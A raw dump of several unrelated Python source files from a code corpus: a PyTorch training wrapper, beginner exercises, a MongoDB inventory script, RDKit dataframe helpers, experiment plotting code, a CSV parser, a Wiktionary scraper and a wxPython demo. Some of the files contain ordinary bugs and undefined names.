print(bcolors.OKBLUE + 'Loading Checkpoint: ' + self.args.checkpoint + bcolors.ENDC)\n checkpoint = torch.load(\"ckpts/%s/ckpt.pth\" % self.args.checkpoint)\n self.network.load_state_dict(checkpoint['network'])\n if resume:\n self.optimizer.load_state_dict(checkpoint['opt'])\n self.epoch = checkpoint['epoch']\n print(bcolors.OKBLUE + 'Finished Loading Checkpoint ' + bcolors.ENDC)\n\n def save(self):\n print(bcolors.OKBLUE + 'Saving Checkpoint: ' + self.args.run_name + bcolors.ENDC)\n torch.save({\n 'network':self.network.state_dict(),\n 'opt':self.optimizer.state_dict(),\n 'epoch':self.epoch+1,\n 'args':self.args,\n }, self.ckpt_dir+\"/ckpt.pth\")\n\n def _iter(self, x, y, sumPrint, backwards=True):\n x = x[:,0,:]\n x = x.view(x.shape[0],1,x.shape[1])\n x, y = x.to(self.device), y.to(self.device)\n y_bar = self.network(x)\n loss_l = self.network.loss(x,y,y_bar)\n if backwards == False and self.args.ryu_testing == True:\n batch = 0\n batch_test = []\n while batch < 512:\n label = y[batch].item()\n\n if label == 2 and self.num_norm > self.norm_limit:\n return [l.data.item() for l in loss_l]\n if label == 1 and self.num_ana > self.ana_limit:\n return [l.data.item() for l in loss_l]\n truth = x[batch,:,:].cpu().numpy()\n batch_test.append(truth)\n\n guess = y_bar[batch,:,:].detach().cpu().numpy()\n l2 = np.linalg.norm(truth-guess)\n\n if label == 2:\n #print('**************', label)\n #print('**************', l2)\n self.norm_error.append(l2)\n self.num_norm += 1 \n elif label == 1:\n print(\"-------------\", l2)\n self.ana_error.append(l2)\n self.num_ana += 1\n batch += 1\n print(\"\")\n \"\"\"for i in range(len(batch_test)):\n j = i\n while j < len(batch_test):\n #print(batch_test[i])\n print(\"Norm error between: \", i, j, \" is\", np.linalg.norm(batch_test[i]-batch_test[j]))\n j+= 1\n exit(1)\"\"\"\n if backwards:\n loss_l = self.network.loss(x,y,y_bar)\n self.optimizer.zero_grad()\n loss_l[0].backward()\n self.optimizer.step()\n return [l.data.item() for l in loss_l]\n\n def gen_training_testing(self, x, y,training=True): #LEFT OFF HERES\n x_copy = torch.Tensor.numpy(x)\n x_copy = x_copy.tolist()\n i = 0\n while(i < len(x_copy)):\n sample = x_copy[i]\n truth = y[i].item()\n \n strii = ','.join(str(i) for i in sample) + ',' + str(truth) + '\\n'\n #print(truth)\n wrote = False\n if training:\n if (self.num_norm < self.norm_limit and truth == 0) or (truth != 0 and self.num_ana < self.ana_limit):\n with open('./trainingData.txt.gz','ab') as f:\n f.write(strii)\n wrote = True\n else:\n if (self.num_norm < self.norm_limit and truth == 0) or (truth != 0 and self.num_ana < self.ana_limit):\n with open('./testingData.txt.gz','ab') as f:\n f.write(strii)\n wrote = True\n i += 1\n if wrote == True:\n if truth == 0:\n self.num_norm += 1\n else:\n self.num_ana += 1\n #print(self.num_ana, self.num_norm)\n if self.num_norm > self.norm_limit and self.num_ana > self.ana_limit:\n break\n return 0\n\n # def _ryu_iter(self, x, y, sumPrint, backwards=True):\n # x_copy = torch.Tensor.numpy(x)\n # x_copy = x_copy.tolist()\n # #print(\"---------------\", len(x_copy))\n #\n # x,y = x.to(self.device), y.to(self.device)\n # y_bar = self.network(x)\n # loss_l = self.network.loss(x, y, y_bar)\n # if backwards:\n # self.optimizer.zero_grad()\n # loss_l[0].backward()\n # self.optimizer.step()\n # with open('./trainingData.txt.gz','ab') as f:\n # f.write(','.join(str(i) for i in x_copy)+','+str(y)+'\\n')\n # else:\n # with open('./testingData.txt.gz','ab') as f:\n # f.write(','.join(str(i) for i in x_copy)+','+str(y)+'\\n')\n # return [l.data.item() for l in loss_l]\n\n def run_epoch(self, data_loader, test=False, ryu_test=False):\n data_loader=self.data_loader\n #data_loader.switch_train((not test) and (self.auto))\n self.sumPrint.start_epoch(self.epoch, len(data_loader))\n for j, (data, target) in enumerate(data_loader):\n self.sumPrint.start_iter(j)\n res = self._iter(data, target, self.sumPrint, backwards=not test)\n self.sumPrint.end_iter(j, res)\n \n rets = self.sumPrint.end_epoch()\n self.ctr+=1\n #print(data_loader.dataset.list_of_training_files)\n #exit(1)\n if not test: \n data_loader.switch_train(test)\n self.network.eval()\n self.validSumPrint.start_epoch(self.epoch, len(data_loader))\n for j, (data, target) in enumerate(data_loader):\n self.validSumPrint.start_iter(j)\n res = self._iter(data, target, self.validSumPrint, backwards=False)\n self.validSumPrint.end_iter(j, res,weights=[1.0,1.0,res[1]/100.0,(100.0-res[1])/100])\n self.network.train()\n\n val_rets = self.validSumPrint.end_epoch()\n else:\n val_rets = None\n\n return rets, val_rets\n\n\n # def ryu_testing(self,val=False,test=True):\n # #print(\"in ryu_testing\")\n # #data_loader.switch_train((not test) and (self.auto))\n # #print(data_loader.dataset.train)\n # #exit(1)\n # self.sumPrint.start_epoch(self.epoch, len(self.data_loader))\n # for j, (data, target) in enumerate(self.data_loader):\n #\n # self.sumPrint.start_iter(j)\n # res = 0\n # if val == False:\n # #print(\"calling iter\")\n # res = self._iter(data, target, self.sumPrint, backwards=False)\n # self.sumPrint.end_iter(j, res)\n #\n # rets = self.sumPrint.end_epoch()\n # val_rets = None\n # return rets, val_rets\n\n def test(self, load=True):\n #testing\n print(bcolors.OKBLUE+'*******TESTING********'+bcolors.ENDC)\n data_loader = PFPSampler(self.args, train=False)\n #load checkpoint\n if load:\n self.load()\n #set no gradients\n self.network.eval()\n #run epoch\n \n rets, _ = self.run_epoch(data_loader, True)\n rets = [self.args.run_name] + rets #run name\n return rets\n\n # def ryu_test_procedure(self, load = True):\n # print(bcolors.OKBLUE+'*******TESTING********'+bcolors.ENDC)\n # self.load()\n # self.network.eval()\n # while(self.num_norm < self.norm_limit or self.num_ana < self.ana_limit):\n # rets, _ = self.ryu_testing(False,not self.data_loader.dataset.train)\n # print(self.num_norm, \" || \", self.num_ana)\n #\n # print(len(self.norm_error))\n # print(len(self.ana_error))\n #\n # #fit gaussian curve\n # if self.fit_curve == True:\n # p0 = [1., -1., 1., 1., -1., 1.]\n # bin_centres = (min(self.norm_error) + max(self.norm_error))/2\n # coeff, var_matrix = curve_fit(gaussx, bin_centres, self.norm_error, p0=p0)\n # hist_fit = gauss\n #\n #\n # rets = [self.args.run_name] + rets #run name\n # g_min = min(min(self.ana_error),min(self.norm_error))\n # g_max = max(max(self.ana_error),max(self.norm_error))\n # bins = np.linspace(g_min,g_max,100)\n # plt.hist(self.norm_error,bins,alpha=0.5,label=\"Norm\")\n # plt.hist(self.ana_error,bins,alpha=0.5,label=\"Ano\")\n # plt.legend(loc='upper right')\n # plt.savefig((str)(self.args.run_name)+\"-ANO vs NORM errors.png\")\n # return rets\n\n\n def train(self):\n x = 100\n for epoch in range(x): # loop over the dataset multiple times\n\n running_loss = 0.0\n for i, data in enumerate(PFPSampler, 0):\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n\n # zero the parameter gradients\n self.optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = self.network(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n self.optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n if i % 2000 == 1999: # print every 2000 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 2000))\n running_loss = 0.0\n\nprint('Finished Training')\n\ndef gaussx(x, *p):\n A1, mu1, sigma1= p\n return A1*np.exp(-(x-mu1)**2/(2.*sigma1**2))\n\n def train(self):\n if self.args.load_checkpoint or self.args.resume or (self.args.checkpoint is not None):\n self.load(self.args.resume)\n data_loader = self.data_loader\n\n print(bcolors.OKBLUE+'*******TRAINING********'+bcolors.ENDC)\n self.network.train()\n while self.epoch < self.args.epochs:\n _, val_ret = self.run_epoch(data_loader, False)\n self.epoch += 1\n if self.epoch % self.args.checkpoint_every == 0:\n print(\"Saving...\")\n self.save()\n self.save()\n\n # def ryu_data_gen(self):\n # if self.args.load_checkpoint or self.args.resume or (self.args.checkpoint is not None):\n # self.load(self.args.resume)\n # data_loader = PFPSampler(self.args,train=True)\n # #print(bcolors.OKBLUE+'*******TRAINING*******'+bccolors.ENDC)\n # while self.num_norm < self.norm_limit and self.num_ana < self.ana_limit:\n # _, val_ret = self.ryu_run_epoch(data_loader, False)\n # #print('Normal: ', self.num_norm)\n # #print(\"Ana: \", self.num_ana)\n","sub_path":"apriori_characterization/Wrapper.py","file_name":"Wrapper.py","file_ext":"py","file_size_in_byte":14999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"192239363","text":"'''3. Write a program that accepts sequence of lines as input and prints the\r\n lines after making all characters in the sentence capitalized. Suppose the\r\n following input is supplied to the program:\r\n Hello world\r\n Practice makes perfect\r\n Then, the output should be:\r\n HELLO WORLD\r\n PRACTICE MAKES PERFECT [Marks: 3]'''\r\n\r\n\r\nlines = []\r\nwhile True:\r\n x = input()\r\n if x:\r\n lines.append(x.upper())\r\n else:\r\n break;\r\nfor x in lines:\r\n print(x)\r\n\r\n \r\n'''WHILE TRUE MEANS LOOP FOREEVER'''\r\n","sub_path":"Assignment 04 28th may/3.capitalized.py","file_name":"3.capitalized.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"60203261","text":"#Module 6 Week 4 Sprint\n\nimport json\nimport pymongo as pm\nimport pandas as pd \n\nclient = pm.MongoClient(\"mongodb://localhost:27017/\")\nmyDb = client['Data_Tracker']\ncollection = myDb[\"DataVault\"]\nprint(collection)\n\nstockData = pd.read_csv('Inventory.csv')\nprint(stockData)\n\nmongoData = []\nn=1\ncol =stockData.columns\nfor i in range(len(stockData)):\n row = stockData.iloc[i:n,:]\n template = {}\n for c in col:\n value = row.get_value(index=i,col=c)\n try:\n value = float(value)\n except:\n x=0\n template[c]= value\n mongoData.append(template)\n n+=1\n\nprint(len(mongoData),mongoData)\n\nfor item in mongoData:\n #insert = collection.insert_one(item)\n print(item, insert,'\\n')\n\n#Clear documents in collection \ndef clearCollection(col):\n x = col.delete_many({})\n print(x.deleted_count,'documents deleted')\n\nfor info in collection.find().sort('Amount',-1):\n print(info)\n\n#Filtering to display a specific category\nsearchQuery = {'Category':{'$regex':'CHOCOLATES'}}\nchocData = collection.find(searchQuery).sort('Amount',-1)\nfor choc in chocData:\n print(choc)\n\n#Create collection of top 3 categories\ntopCollec = myDb['Top 3']\nprint(topCollec)\nfor stuff in mongoData:\n if stuff['Category'] in top3cats:\n some=0\n #insert = topCollec.insert_one(stuff)\n\ntop3data = topCollec.find().sort('Amount',1)\nfor d in top3data:\n print(d)\n\n#Deleting entries from top 3\nitemsToDel = ['Mutton_Curry','Squash', 'Twista']\nfor x in itemsToDel:\n del_query = {'Product':{'$regex': x}}\n deletedItems = topCollec.delete_many(del_query)\n print(deletedItems.deleted_count,'items delted')\n\n#Product to find an update\n#object id of item to update :{'_id': ObjectId('5e957c42492b0732c5bd3644')}\nresult = collection.update_many({'Product': 'Fritos'},\n {'$inc': {'Amount': 3}}, upsert=True)\n\n# boolean confirmation that the API call went through\nprint (\"acknowledged:\", result.acknowledged)\n\n# integer of the number of docs modified\nprint (\"number of docs updated:\", result.modified_count)\n\n# dict object with more info on API call\nprint (\"raw_result:\", result.raw_result)\n\n#Search and filter for the least 5 items \n\nbottom3 = collection.find()\ncount=0\nwhile count<3:\n for b in bottom3:\n if (b['Amount']<10):\n print(b)\n count+=1\n else:\n continue\n","sub_path":"Sprint.py","file_name":"Sprint.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"384825916","text":"import pandas as pd\nfrom rdkit import Chem\nfrom rdkit.Chem.SaltRemover import SaltRemover\nremover = SaltRemover()\nfrom rdkit import RDLogger\nlg = RDLogger.logger()\nlg.setLevel(RDLogger.ERROR)\n\ndef convert_to_rdkit(smi):\n try:\n mol = Chem.MolFromSmiles(smi)\n mol = remove_salt(mol)\n new_smi = Chem.MolToSmiles(mol)\n return new_smi\n except:\n print(f\"{smi} not accepted by rdkit\")\n return None\n\ndef remove_salt(mol):\n try:\n mol = remover.StripMol(mol, dontRemoveEverything=True)\n except:\n pass\n return mol\n\ndef remove_duplicate_smiles(df):\n df = df.drop_duplicates(subset=['SMILES'])\n return df\n\ndef create_mol_col(smi):\n try:\n return Chem.MolFromSmiles(smi)\n except:\n print(f'error with smi {smi}')\n return None\n\ndef get_inchi_key(mol):\n try:\n return Chem.MolToInchiKey(mol)\n except:\n return None\n\ndef load_mol_columns(df):\n df['mol'] = df['SMILES'].apply(create_mol_col)\n df = df.dropna(subset=['mol'])\n df['rdmol'] = df['mol'].apply(mol_binary)\n df = df.dropna(subset=['rdmol'])\n df['inchi_key'] = df['mol'].apply(get_inchi_key)\n df = df.dropna(subset=['inchi_key'])\n\n df = df.where(pd.notnull(df), None)\n\n return df\n\ndef nan_to_none(df):\n df = df.where(pd.notnull(df), None)\n return df\n\ndef create_merged_df(paths):\n list_dfs = load_dfs(paths)\n merged_df = merge_dfs(list_dfs)\n merged_df = nan_to_none(merged_df)\n return merged_df\n\ndef load_dfs(paths):\n print(f'loading {len(paths)} dataframes')\n list_dfs = []\n for path in paths:\n df = pd.read_csv(path, index_col=0)\n list_dfs.append(df)\n return list_dfs\n\ndef merge_dfs(list_dfs):\n print('merging dataframes')\n all_df = list_dfs.pop(0)\n for df in list_dfs:\n all_df = all_df.merge(df, on='SMILES', how='outer')\n return all_df","sub_path":"buyable_molecules/create_csvs/funcs/dataframe_functions.py","file_name":"dataframe_functions.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509172764","text":"#celsius to farenhieh coversion table\nc=list(range(0,101,10))\nf=list()\nprint(\"celsius list: \" ,c )\nfor i in range(len(c)):\n far=9/5*c[i]+32\n f.append(far)\nprint(\"\\tcelsius\\tfahrenheit\")\nprint(\"------------------------\")\nfor i in range(len(c)):\n print(\"\\t\",c[i],\"\\t\",f[i])\n \n","sub_path":"pythonprog/celsiustofahrenheit.py","file_name":"celsiustofahrenheit.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499504417","text":"# ====================================================================\n# This code will load the results/outputs from 01_1.py and produce the\n# plots for the paper\n# ====================================================================\n\nimport numpy as np\nimport bbi\nfrom matplotlib import pyplot as plt\nimport pickle\nplt.rcParams.update({'font.size': 14})\n\ndef harmonic_mean(error, axis=0):\n return np.exp(np.mean( np.log(error), axis=axis))\n\n# general: load reference likelihood and data needed in all plots\ncontent = np.load('input/01_model.npz')\ngrid = content['grid']\n\nll_true = np.load('output/01_reference_ll.npy')\n\n# load result of computation step 1)\ncontent = np.load('output/01_main_ll.npz', allow_pickle = True)\nn_eval = content['n_eval']\nll_m = content['ll_m']\nll_l = content['ll_l']\nll_a = content['ll_a']\n\nnodes_m = content['nodes_m'].item()\nnodes_l = content['nodes_l'].item()\nnodes_a = content['nodes_a'].item()\n\ncontent = pickle.load( open('output/01_pre_nodes_f.pkl', 'rb')) \nnodes_lhs = content[2][0] # first index = 2 means third run which is initial sample = 15\n\ncontent = np.load('output/01_miracle.npz', allow_pickle = True)\nll_1 = content['ll_1']\n\n# compute errors from loglikelihoods\nerrors_m = bbi.compute_errors(ll_true, ll_m)\nerrors_l = bbi.compute_errors(ll_true, ll_l)\nerrors_a = bbi.compute_errors(ll_true, ll_a)\nerrors_1 = bbi.compute_errors(ll_true, ll_1)\n\nnp.savetxt('output/exp1_nodes_m.txt', grid[nodes_m.idx], fmt= '%g', delimiter = ' ')\nnp.savetxt('output/exp1_nodes_l.txt', grid[nodes_l.idx], fmt= '%g', delimiter = ' ')\nnp.savetxt('output/exp1_nodes_a.txt', grid[nodes_a.idx], fmt= '%g', delimiter = ' ')\nnp.savetxt('output/exp1_nodes_lhs15.txt', grid[nodes_lhs.idx], fmt= '%g', delimiter = ' ')\n\nf = plt.figure(figsize=(16,16))\nx = np.linspace(0,1,51)\nimg = plt.contourf(x,x,np.exp(ll_true).reshape(51,51))\n\nimg.set_cmap('Blues')\n\n#f.savefig(\"figures/01_fig_0_solution.pdf\", bbox_inches='tight')\n\nplt.axis('off')\n#plt.savefig(\"figures/01_fig_0_solution.png\", bbox_inches='tight')\n\n# %% Plot 1: Comparison of new methods with random picking\n\nplt.rcParams.update({'font.size': 14})\n# load results of 20 random gpes\ncontent = np.load('output/01_20_random_matern.npz', allow_pickle = True)\nnodes_gpe = content['nodes_gpe']\n#ll_gpe = content['ll_gpe']\nerrors_gpe = content['errors_gpe']\n\nerror_average = np.exp(np.mean( np.log(errors_gpe), axis=0))\ne_mean_random = harmonic_mean(errors_gpe)\ne_0_random = errors_gpe.min(axis=0)\ne_100_random = errors_gpe.max(axis=0)\n\n#error_sorted = np.sort(errors_gpe, axis = 0)\n#error_0 = error_sorted[0,:]\n#error_5 = error_sorted[1,:]\n#error_95 = error_sorted[19,:]\n#error_100 = error_sorted[-1,:]\n\n#error_50 = error_sorted[10,:]\n \n# plot\nf = plt.figure(figsize=(12,8))\nplt.xlim(0,30)\nplt.ylim(1e-6,1e2)\nplt.xlabel('Number of model evaluations')\nplt.ylabel('Error (KL-divergence)')\n\nplt.semilogy(n_eval, errors_m, label = 'dynamic MAP estimate',linewidth = 2.5)\nplt.semilogy(n_eval, errors_a, label = 'average criterion',linewidth = 2.5)\nplt.semilogy(n_eval, errors_l, label = 'linearization',linewidth = 2.5)\nplt.semilogy(n_eval, errors_1, label = 'miracle',linewidth = 2.5)\n\nplt.fill_between(n_eval, e_0_random, e_100_random, label = '5% to 95% percentiles', color = 'lightgray')\nplt.semilogy(n_eval, e_mean_random, label = 'mean of random hyper parameters', color = 'black',linewidth = 2.5)\n\nplt.legend(loc=3, frameon = False).set_zorder(-1)\n\nplt.show()\n\n#f.savefig(\"figures/01_fig_1_random.pdf\", bbox_inches='tight')\n\nplot_data = np.full((31,8), np.nan)\nplot_data[:,0] = n_eval\n\nplot_data[:,1] = errors_m\nplot_data[:,2] = errors_a\nplot_data[:,3] = errors_l\nplot_data[:,4] = errors_1\nplot_data[:,5] = e_mean_random\nplot_data[:,6] = e_0_random\nplot_data[:,7] = e_100_random\n\nnp.savetxt('output/exp1_fig1.data', plot_data, '%2i %1.3e %1.3e %1.3e %1.3e %1.3e %1.3e %1.3e')\n\n#%% Plot 2: Comparison with separate sampling phase approach\n\n\nplt.rcParams.update({'font.size': 14})\n# load data\n\nn_eval_pre = pickle.load( open('output/01_pre50_lhs_n_eval.pkl','rb'))\nerrors_raw_fix = pickle.load( open('output/01_pre_errors_f.pkl','rb'))\nerrors_raw_re = pickle.load( open('output/01_pre_errors_r.pkl','rb'))\n\ne_mean_fix = []\ne_0_fix = []\ne_100_fix = []\ne_mean_re = []\ne_0_re = []\ne_100_re = []\n \nfor e in errors_raw_fix:\n e_mean_fix.append(harmonic_mean(e))\n e_0_fix.append(e.min(axis=0))\n e_100_fix.append(e.max(axis=0))\n \nfor e in errors_raw_re:\n e_mean_re.append(harmonic_mean(e))\n e_0_re.append(e.min(axis=0))\n e_100_re.append(e.max(axis=0))\n\nf = plt.figure(figsize=(12,8))\nplt.xlabel('Number of model evaluations')\nplt.ylabel('Error (KL-divergence)')\n\nplt.semilogy(n_eval, errors_m, label = 'dynamic MAP estimate',linewidth = 1)\nplt.semilogy(n_eval, errors_a, label = 'average criterion',linewidth = 1)\nplt.semilogy(n_eval, errors_l, label = 'linearization',linewidth = 1)\n\nfor i, (e, n) in enumerate(zip(e_mean_fix,n_eval_pre)):\n if i == 0:\n plt.semilogy(n, e, 'k', label = 'exploratory phase, fixed hyper parameters',linewidth = 2.5) \n else:\n plt.semilogy(n, e, 'k',linewidth = 2.5) \n\nfor i, (e, n) in enumerate(zip(e_mean_re,n_eval_pre)):\n if i == 0:\n plt.semilogy(n, e, 'C3', label = 'exploratory phase, re-estimate',linewidth = 2.5)\n else:\n plt.semilogy(n, e, 'C3',linewidth = 2.5)\n \n\nerror_new = np.array([errors_m, errors_l, errors_a])\nerror_new = np.sort(error_new, axis = 0)\nerror_upper = error_new[0,:]\nerror_lower = error_new[2,:]\n\nplt.xlim(0,30)\nplt.legend(loc=3, frameon = False).set_zorder(-1)\nplt.show()\n\n#f.savefig(\"figures/01_fig_2_presampled.pdf\", bbox_inches='tight')\n\n#for (e1,e2,n) in zip(e_0_fix, e_mean_re, n_eval_pre):\nfor i,n in enumerate(n_eval_pre):\n prefix = n[0]\n filename = \"output/exp1_fig2_{}.data\".format(prefix)\n plot_data = np.full((n.size, 7), np.nan)\n plot_data[:,0] = n\n plot_data[:,1] = e_mean_fix[i]\n plot_data[:,2] = e_0_fix[i]\n plot_data[:,3] = e_100_fix[i]\n plot_data[:,4] = e_mean_re[i]\n plot_data[:,5] = e_0_re[i]\n plot_data[:,6] = e_100_re[i]\n np.savetxt(filename, plot_data, '%2i %1.3e %1.3e %1.3e %1.3e %1.3e %1.3e')\n\n#%% Plot 3: Investigate sensitivity to field parameter prior\n\nll_true = np.load('output/01_reference_ll.npy', allow_pickle = True)\n\ncontent = np.load('output/01_main_ll.npz', allow_pickle = True)\nn_eval = content['n_eval']\nll_m = content['ll_m']\n\ncontent = np.load('output/01_prior_sensitivity_ll.npz', allow_pickle = True)\nll_p1 = content['ll_p1']\nll_p2 = content['ll_p2']\nll_p3 = content['ll_p3']\n\n# compute errors from loglikelihoods\nerrors_m = bbi.compute_errors(ll_true, ll_m)\nerrors_p1 = bbi.compute_errors(ll_true, ll_p1)\nerrors_p2 = bbi.compute_errors(ll_true, ll_p2)\nerrors_p3 = bbi.compute_errors(ll_true, ll_p3)\n\n# plot\nf = plt.figure(figsize=(12,8))\nplt.xlabel('Number of model evaluations')\nplt.ylabel('Error (KL-divergence)')\nplt.xlim(0,30)\nplt.semilogy(n_eval, errors_m, label = 'default',linewidth = 2.5)\n\nplt.semilogy(n_eval, errors_p1, label = 'wide upper and lower',linewidth = 2.5)\nplt.semilogy(n_eval, errors_p2, label = 'wide upper',linewidth = 2.5)\nplt.semilogy(n_eval, errors_p3, label = 'narrow',linewidth = 2.5)\n\nplt.legend()\nplt.show()\n\n#f.savefig(\"figures/01_fig_3_sensitivity.pdf\", bbox_inches='tight')\n\nplot_data = np.full((31,5), np.nan)\nplot_data[:,0] = n_eval\n\nplot_data[:,1] = errors_m\nplot_data[:,2] = errors_p1\nplot_data[:,3] = errors_p2\nplot_data[:,4] = errors_p3\n\nnp.savetxt('output/exp1_fig3.data', plot_data, '%2i %1.3e %1.3e %1.3e %1.3e')\n","sub_path":"experiment 1/01_2_plot.py","file_name":"01_2_plot.py","file_ext":"py","file_size_in_byte":7544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"285743627","text":"# Given a path to data file. parse it into a map\nimport csv\nimport math\n\n\ndef parse_txt(path):\n with open(path) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter='\\t')\n index = -1\n station_headers = []\n stations = dict()\n for row in csv_reader:\n index = index + 1\n # Ignore first line\n if index is 0:\n continue\n\n # Parse the locations\n if index is 1:\n for i in range(4, len(row), 4):\n station_headers.append(row[i])\n stations[row[i]] = {\n 'long': float(row[i + 1]),\n 'lat': float(row[i + 2]),\n 'site_id': row[i + 3] if i + 3 < len(row) else '',\n 'data': {}\n }\n if index > 3:\n header_index = 0\n for i in range(4, len(row), 4):\n stations[station_headers[header_index]]['data'][row[0]] = float(math.nan if row[i] == \"\" else row[i])\n\n header_index = header_index + 1\n return stations\n","sub_path":"Interpolation/csaparser.py","file_name":"csaparser.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"403120956","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom math import pi,sqrt\n\n\n#essai1 = \"Essai_01/0_90.Txt\"\nessai2 = \"Essai_02/0_90.Txt\"\nmodele1 = \"\"\n\nfid = open(essai2,\"r\")\nfid.readline()\nfid.readline()\nfichier = []\nfor ligne in fid :\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\" \",\" \")\n ligne = ligne.replace(\"\\n\",\"\")\n ligne = ligne.split(\" \")\n if len(ligne)>1:\n for i in range (len(ligne)-1,-1,-1):\n if ligne[i] == \"\":\n del ligne[0]\n else : \n ligne[i] = float(ligne[i])\n fichier.append(ligne)\n\nfid.close()\n\ntemps =[] # temps en ms dans le fichier, indice 0\npos_bras=[] # position du bras en degrés, indice 2\ntx_bras=[] # taux de rotation du bras en rad/s, indice 5\ntx_mot=[] # taux de rotation du moteur en rad/s, indice 6\ngamma = []\nfor ligne in fichier:\n temps.append(ligne[0]/1000.)\n pos_bras.append(ligne[2]*180/pi)\n tx_bras.append(ligne[5])\n tx_mot.append(ligne[6])\n \ngamma=[0]\nfor i in range(len(tx_mot)-1):\n deltaT = (temps[i+1]-temps[i])\n gammatmp = gamma[i]+deltaT*tx_mot[i]\n gamma.append(gammatmp)\n\n\n\ngamma = np.array(gamma)\ndgamma = np.array(tx_mot)\n\n## Loi Entrée Sortie Théorique\na,b,c,d = 106.3, 59, 70, 80\np = 4\nlambda0 = sqrt(d*d+(b+c)**2)\n\ntps = np.linspace(0,4,1000)\ndgam = np.ones(1000)*40 # 40 rad/s\ngam = 40*tps\n\ngamma = gam\ndgamma = dgam\n\ndtheta = - ((lambda0-p*gamma/(2*pi))*((-p*dgamma)/(2*pi))/(a*b)) / ( np.sqrt(1- (((lambda0-(p*gamma)/(2*pi))**2-a*a-b*b)/(2*a*b))**2))\n\n\ntheta = np.arccos((((lambda0-p*gamma/(2*pi))**2)-a*a-b*b)/(2*a*b))-np.arctan(d/c)\ntheta = theta*360/(2*pi)\n\n\n\"\"\"\nfor i in range(len(gamma)):\n gam = gamma[i]\n dgam = tx_bras[i]\n pp = -(((np.sqrt(d*d+c*c+b*b+2*b*c)-p*gamma/(2*pi))*(-p*dgamma/(2*pi)))/(a*b))/(np.sqrt(1-((((np.sqrt(d*d+c*c+b*b+2*b*c)-p*gamma/(2*pi))**2)-a*a-b*b)/(2*a*b))**2))\n print(\n\"\"\"\n \n\n\n\n\n\n#plt.plot(temps,tx_mot,label = \"Moteur\")\n#plt.plot(temps,tx_bras,label = \"Bras\")\nplt.plot(tps,theta,label = \"Vitesse bras simulee\")\n\nplt.legend()\nplt.show()","sub_path":"11_Maxpid/EtudeMaxpid/images/LoiES_Essai_Modele/exploitationEssais.py","file_name":"exploitationEssais.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514215965","text":"import pandas as pd\nimport numpy as np\nimport csv\n\ndef getXY(filename):\n data = pd.read_csv(filename, sep=',',header=None)\n X = data[data.columns[0:29]].values[1:].astype(np.float)\n y = np.transpose([data[data.columns[30]].values[1:].astype(np.float)])\n return X, y\n\nif __name__ == \"__main__\":\n getXY('../dataset/250.csv')","sub_path":"scripts/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"574224461","text":"#!/usr/bin/env python\nimport sys, os\nimport wx\n\nclass main_window(wx.Frame):\n def __init__(self, parent, id, title):\n wxFrame.__init__(self, parent, -1, title, size = (200, 100), style=wxDEFAULT_FRAME_STYLE|wxNO_FULL_REPAINT_ON_RESIZE)\n self.control = wxTextCtrl(self, -1, style=wxTE_MULTILINE)\n self.Show(true)\n\nclass App(wx.App):\n def OnInit(self):\n frame = main_window(None, -1, \"wxPython: (A Demonstration)\")\n self.SetTopWindow(frame)\n return true\n\napp = App(0)\napp.MainLoop()\n\n","sub_path":"wxpython/ex02.py","file_name":"ex02.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530723415","text":"import re\n\nimport requests\n\nurl = \"https://es.wiktionary.org/wiki/Ap%C3%A9ndice:C%C3%B3digos_de_idioma\"\nwith requests.get(url) as req:\n req.raise_for_status()\n content = req.text\n\npattern = r\"\\s+([^<]+)\\s+([^<]+)\\s+\"\nmatches = re.findall(pattern, content)\nprint(\"langs = {\")\nfor iso, lang in sorted(matches):\n print(f' \"{iso}\": \"{lang}\",')\nprint(f\"}} # {len(matches):,}\")\n","sub_path":"scripts/es-langs.py","file_name":"es-langs.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"452331157","text":"from keras import backend as K\nfrom keras.models import load_model\nfrom keras.preprocessing import image\nfrom keras.optimizers import Adam\nfrom imageio import imread\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom models.keras_ssd512 import ssd_512\nfrom keras_loss_function.keras_ssd_loss import SSDLoss\nfrom keras_layers.keras_layer_AnchorBoxes import AnchorBoxes\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\nfrom keras_layers.keras_layer_DecodeDetectionsFast import DecodeDetectionsFast\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\n\nfrom ssd_encoder_decoder.ssd_output_decoder import decode_detections, decode_detections_fast\n\nfrom data_generator.object_detection_2d_data_generator import DataGenerator\nfrom data_generator.object_detection_2d_photometric_ops import ConvertTo3Channels\nfrom 